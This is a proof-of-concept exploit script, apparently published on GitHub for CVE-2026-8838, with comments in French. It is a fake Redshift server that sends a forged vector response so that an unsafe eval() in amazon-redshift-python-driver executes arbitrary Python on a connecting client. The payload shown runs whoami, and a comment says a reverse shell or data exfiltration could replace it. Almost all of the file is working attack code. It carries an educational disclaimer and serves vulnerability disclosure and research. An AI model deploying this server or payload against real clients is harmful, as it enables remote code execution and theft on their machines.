5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_server.py PY
#!/usr/bin/env python3
"""
CVE-2026-8838 — Proof of Concept : Faux serveur Redshift
=========================================================
Simule un serveur envoyant une réponse forgée exploitant l'usage
non sécurisé de eval() dans vector_in() du amazon-redshift-python-driver.

AVERTISSEMENT : À des fins éducatives uniquement.
              Ne jamais utiliser contre des systèmes sans autorisation.

Auteur : Maxime288 — https://github.com/Maxime288
"""

import socket
import threading

# Payload de démonstration inoffensive (whoami)
# Dans un vrai scénario d'attaque, cela pourrait être un reverse shell,
# une exfiltration de données, etc.
DEMO_PAYLOAD = "__import__('os').popen('whoami').read()"

MALICIOUS_VECTOR_RESPONSE = f"[{DEMO_PAYLOAD}]".encode()

HOST = "127.0.0.1"
PORT = 5439  # Port Redshift par défaut


def handle_client(conn: socket.socket, addr: tuple) -> None:
    """Gère une connexion entrante et envoie la réponse forgée."""
    print(f"[+] Connexion reçue depuis {addr}")
    try:
        # Attendre que le client envoie une requête (on l'ignore)
        data = conn.recv(4096)
        if data:
            print(f"[*] Requête client reçue ({len(data)} octets)")

        # Envoyer la réponse malveillante
        print(f"[>] Envoi de la payload forgée : {MALICIOUS_VECTOR_RESPONSE}")
        conn.sendall(MALICIOUS_VECTOR_RESPONSE)
    except Exception as e:
        print(f"[-] Erreur lors du traitement : {e}")
    finally:
        conn.close()
        print(f"[*] Connexion avec {addr} fermée")


def run_server() -> None:
    """Démarre le faux serveur Redshift."""
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((HOST, PORT))
        server.listen(5)
        print(f"[*] Faux serveur Redshift en écoute sur {HOST}:{PORT}")
        print(f"[*] Payload : {DEMO_PAYLOAD}")
        print("[*] En attente de connexions...\n")

        while True:
            conn, addr = server.accept()
            thread = threading.Thread(
                target=handle_client, args=(conn, addr), daemon=True
            )
            thread.start()


if __name__ == "__main__":
    run_server()